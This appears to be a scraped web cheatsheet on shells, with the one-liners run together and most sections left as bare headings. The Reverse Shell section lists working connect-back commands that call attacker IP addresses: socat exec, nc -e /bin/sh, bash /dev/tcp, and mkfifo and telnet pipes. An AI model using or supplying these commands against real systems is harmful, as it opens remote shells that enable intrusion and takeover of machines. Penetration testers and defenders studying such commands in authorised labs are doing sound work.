Shell Cheatsheet
Reverse Shell
Socat
socat file:`tty`,raw,echo=0 tcp-listen:4444socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444Shell
nc -e /bin/sh 10.0.0.1 1234nc -c '/bin/bash -c "script /dev/null"' 127.0.0.1 1337bash -i >& /dev/tcp/10.0.0.1/8080 0>&1rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/frm /tmp/yolopipe; mknod /tmp/yolopipe p && telnet 192.168.0.151 2222 0</tmp/yolopipe| /bin/bash 1>/tmp/yolopipePython
Bind Shell
Socat
Bash
Telnet
Python
PHP
Web Shell
PHP
Listener
Shell
Upgrading
Socat
Shell
Python
MSF
Fix Width
Transferring files (e.g. socat or tsh)
Attacker = Listener
Victim = Listener
Aliases
Resources
Last updated